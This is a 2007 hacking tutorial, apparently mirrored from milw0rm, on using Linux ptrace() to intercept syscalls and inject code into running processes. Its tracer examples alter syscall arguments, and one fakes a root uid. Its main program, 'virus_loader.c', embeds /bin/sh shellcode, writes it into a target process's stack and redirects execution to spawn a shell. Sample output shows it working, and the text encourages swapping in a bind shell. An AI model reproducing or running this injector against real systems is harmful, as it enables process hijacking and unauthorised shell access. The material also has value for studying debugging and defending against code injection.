/================================================================================\ ---------------------------------[ PLAYHACK.net ]--------------------------------- \================================================================================/ -[ INFOS ]----------------------------------------------------------------------- Title: "ptrace(): A Linux Virus" Author: Omni Website: http://omni.netsons.org E-Mail: omni [AT] playhack [dot] net Date: 2007-12-09 (ISO 8601) --------------------------------------------------------------------------------- -[ SUMMARY ]--------------------------------------------------------------------- 0x00: Introduction 0x01: *Talk* about ptrace() 0x02: Have fun with ptrace() 0x03: Injecting codes 0x04: General Infos 0x05: Reference 0x06: Conclusion --------------------------------------------------------------------------------- ---[ 0x00: Introduction ] Hi dudes! I'm back with a new paper concerning the injection of *our codes* in a process that is running on the local machine! (ELF) After this "little introduction" (ahahah) I just wanna thanks the playhack.net Staff and our *cool* bro str0ke (:P). -----------------------------------------------------------------------------[/] ---[ 0x01: *Talk* about ptrace() ] ptrace() is a system call that enables one process to *control* the execution of another one. The traced process (the child) behaves normally until it caughts a signal and when this occur the process enter in STOPPED state and informs the tracing process by a wait() system call. After this the tracing process (the parent) decides what the traced process should do (responds). Take in mind that if the traced process caughts a SIGKILL it will be killed! #include long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data); The field 'request' is a value that determines the action that has to be performed. Here below you will find some actions that you can specify in the ptrace() function: - PTRACE_GETREGS This copies the child's General Purpose or Floating-Point registers to location data in the parent. - PTRACE_SETREGS This 'request' copies the child's GPR or Floating-Point registers from a location in the parent. (also take a look at this request: PTRACE_POKEUSR). - PTRACE_CONT Restarts the stopped child process. - PTRACE_KILL Sends to the child process a SIGKILL (to terminate it) - PTRACE_ATTACH Attaches to the process identified by the field pid and make the process traced as a child of the tracing process (current process). As I said before the tracing process became the parent of the traced process (child) and it will receive notifications from the child events but if a getppid is called will return the PID of the original parent. - PTRACE_DETACH It restarts the stopped child and detaches the tracing process (child) from the traced process (*parent*). If ptrace has interrupted a syscall that has been called (but not executed) the kernel subtract 2 bytes (from EIP) after PTRACE_DETACH. If you wanna more informations about ptrace() please read the man pages. (could be useful). -----------------------------------------------------------------------------[/] ---[ 0x02: Have fun with ptrace() ] Now it's time to *Having fun with ptrace()* function!! In this section I'll try to explain how to (p)trace a process and intercepts syscall (and modify its arguments). The best way to explain what we have to do is to show to you a source code: /* target1.c */ #include #include int main() { char str[]="Hi\nSup Guys?\n"; write(0, str, strlen(str)); return 0; } /* end target1.c */ (.)Output: $./target1 Hi Sup Guys? $ And here below you will find the tracer1.c code: /* tracer1.c */ #include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { if (argc < 2) { printf("please specify the absolute path of the target1\n"); printf("%s < /path/target1 >\n", argv[0]); exit(1); } int orig_syscall = 0; int status; struct user_regs_struct regs; pid_t pid; pid = fork(); if (pid == 0) { //child ptrace(PTRACE_TRACEME, 0, 0, 0); execl(argv[1], argv[1], NULL); } else { //parent wait (&status); //wait the child while(1) { ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when //a syscall is called to inspect the arguments wait(&status); //wait again the child ptrace(PTRACE_GETREGS, pid, 0, ®s); orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number) if (orig_syscall == SYS_write) { //Is our syscall number the SYS_write ?? regs.edx = 3; //set edx to 3 (MAX msg length -> more info here: man write(1) ) ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s) } } } ptrace( PTRACE_DETACH, pid, NULL, NULL ); return 0; } /* end of tracer1.c */ (.)Output: #./tracer1 /home/omni/target1 Hi # Ehy what's that? As you can see the output of tracer1 is *Hi\n* ! But why? Look at the tracer1.c source code; there is an "important" assignment: [...] regs.edx = 3; [...] We set the register edx to 3 (maximum length of "string" in our write() syscall). Look in depth what the tracer1 do: 1. check if the syscall write() is called 2. read the CPU registers 3. set the register edx to 3 4. detach from the process traced Eg: write(0, -> stdout "Hi\nSup Guys?\n, -> it will print only Hi\n (edx = 3) 3); -> modified by edx (edx = 3) Do you get it? Simple right? ;) Cool, now I just wanna try to explain an other interesting example; so look at the source code of target2.c and tracer2.c !!! /* target2.c */ #include #include int main() { printf( "user id: %d\n", getuid() ); execl("/bin/csh", "csh", NULL, 0); return 0; } /* end of target2.c */ (.) Output: $ ./target2 user id: 1000 %id uid=1000(omni) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(user) And now.. tracer2.c : /* tracer2.c */ #include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { if (argc < 2) { printf("please specify the absolute path of the target1\n"); printf("%s < /home/omni/articles/target1 >\n", argv[0]); exit(1); } int orig_syscall = 0; int status; struct user_regs_struct regs; pid_t pid; pid = fork(); if (pid == 0) { //child ptrace(PTRACE_TRACEME, 0, 0, 0); execl(argv[1], argv[1], NULL); } else { //parent wait (&status); //wait the child while(1) { ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when //a syscall is called to inspect the arguments wait(&status); //wait again the child ptrace(PTRACE_GETREGS, pid, 0, ®s); orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number) if (orig_syscall == SYS_getuid32) { regs.ebx = 0; //set ebx to 0 (root access) ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s) } } } ptrace( PTRACE_DETACH, pid, NULL, NULL ); return 0; } /* end of tracer2.c */ (.) Output: # ./tracer2 /home/omni/articles/target2 user id: 0 %id; uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) Killed! # If you read the source code you will find my comments and I thik (/hope) you will understand; but for lazy people I'll explain the main functions. [... in the child ...] ptrace(PTRACE_TRACEME, 0, 0, 0); execl(argv[1], argv[1], NULL); [....] Just trace the process.. [... in the parent ...] 1. ptrace(PTRACE_SYSCALL, pid, 0, 0); 2. ptrace(PTRACE_GETREGS, pid, 0, ®s); orig_syscall = regs.orig_eax; 3. if (orig_syscall == SYS_getuid32) { 4. regs.ebx = 0; 5. ptrace(PTRACE_SETREGS, pid, 0, ®s); } [....] Here is a little bit more difficult but if you understand C this will not be a problem ;) 1. Just *restart* the stopped child and read the syscall arguments 2. Read the the CPU registers 3/4. If the syscall is SYS_getuid32 set ebx to 0 and "gain" root access 5. Copy the child registers And now the /bin/csh shell is *spawned* with root privilege!! -----------------------------------------------------------------------------[/] ---[ 0x03: Injecting codes.. ] Injecting codes in a (p)traced ELF is not so difficult; but if you wanna understand easily how to do it you have to read carefully the code. Here below we have simple.c (the traced process): /* simple.c */ #include #include int main() { char buf[1024]; scanf("%s", buf); printf("-> %s\n", buf); } /* end of simple.c */ $ gcc simple.c -o simple # chmod u+s simple (.) Output: $ ./simple Hi -> Hi $ Now it's time of our virus code: (:D) /* virus_loader.c */ #include #include #include #include #include #include #include #include // shellcode "grepped" from internet (make your own shellcode, // eg a bind shell) char virus_payload[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb" "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd" "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f" "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"; //inject func prototype int inject(pid_t pid, long memaddr, void *buf, int buflen); int main(int argc, char *argv[]) { pid_t pid; //pid of the ELF that we have to infect struct user_regs_struct regs; //CPU registers long address; //where we will put our virus payload if (argc < 2) { printf("usage: %s \n", argv[0]); return -1; } pid = atoi(argv[1]); //ATTACH to the pid if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) { perror("ATTACH"); return -1; } // Wait the child.. (the *attached* ELF is the child) int status = 0; wait(&status); printf("[+] %d ATTACHED\n", pid); //get the CPU registers and put it in our //struct regs //We will use it soon.. if (ptrace(PTRACE_GETREGS, pid, ®s, ®s) < 0) { perror("GETREGS"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } //calculate the address were we have to PUT our //virus payload (we will put it into ESP - 1024) printf("[+] Calculating the address of our payload\n"); address = regs.esp - 1024; printf("[+] Virus Payload at address: 0x%.8x\n", address); //inject function is called.. (see below) if (inject(pid, address, virus_payload, sizeof(virus_payload) - 1) < 0) { return -1; } //EIP now *points* to our virus payload regs.eip = address + 2; printf("[+] EIP points to virus payload at address: 0x%.8x\n", regs.eip); //It's time to set EIP and let its to point //to our virus payload if (ptrace(PTRACE_SETREGS, pid, ®s, ®s) < 0) { perror("SETREGS"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } ptrace(PTRACE_DETACH, pid, NULL, NULL); printf("[+] Shell Spawned !!\n"); return 0; } // Injection Function int inject(pid_t pid, long addr, void *virus, int len) { long payload; int i = 0; //copy virus payload into *address* memory (esp - 1024) while (i < len) { memcpy(&payload, virus, 4); //insert the payload into the memory if (ptrace(PTRACE_POKETEXT, pid, addr, payload) < 0 ) { perror("Inject()"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } addr += 4; virus += 4; i += 4; } return 0; } /* end of virus_loader.c */ Let's try it.. --- [ Shell 1 ] --- $ ls -al simple -rwsr-xr-x 1 root root 8148 2007-12-14 19:26 simple* [suid bit ACTIVATED] $ ./simple sh-3.1# id uid=0(root) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(users) sh-3.1# --- [ Shell 2 ] --- # ps -A | grep simple 4779 pts/3 00:00:00 simple # ./virus_loader 4779 [+] 4779 ATTACHED [+] Calculating the address of our payload [+] Virus Payload at address: 0xbfb2fe08 [+] EIP points to virus payload at address: 0xbfb2fe0a [+] Shell Spawned !! # Here is a simple example; you can also add your own shellcode (eg a bind shell) and than give again the control back to the ELF. -----------------------------------------------------------------------------[/] ---[ 0x04: General Infos ] - Why is it useful to use ptrace? My opinion is simple; if you are root you can (WITHOUT LKM) modify syscalls, inject your own codes in a running process and much more.. ( eg control a process in runtime!! ) ptrace() is also used by debuggers for tracing syscall, set breakpoints, etc; and this is a great things because you can do it in User Land. - Is it possible to trace the same process twice? No, it's not possible; because if you look here: /usr/src/linux-***/arch/i386/kernel/ptrace.c you will find: if (!(current->ptrace & PT_PTRACED)) goto out; <- GOTO OUT!!! -----------------------------------------------------------------------------[/] ---[ 0x05: Reference ] [1] Man of ptrace() [2] Building ptrace injecting shellcodes (Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12) -----------------------------------------------------------------------------[/] ---[ 0x06: Conclusion ] This is the end of my own article and if you have some comments, questions or whatever *mail me*! ;) Please if you find some errors let me know and I will update it soon! -----------------------------------------------------------------------------[/] \======================================[EOF]=====================================/ # milw0rm.com [2007-12-18]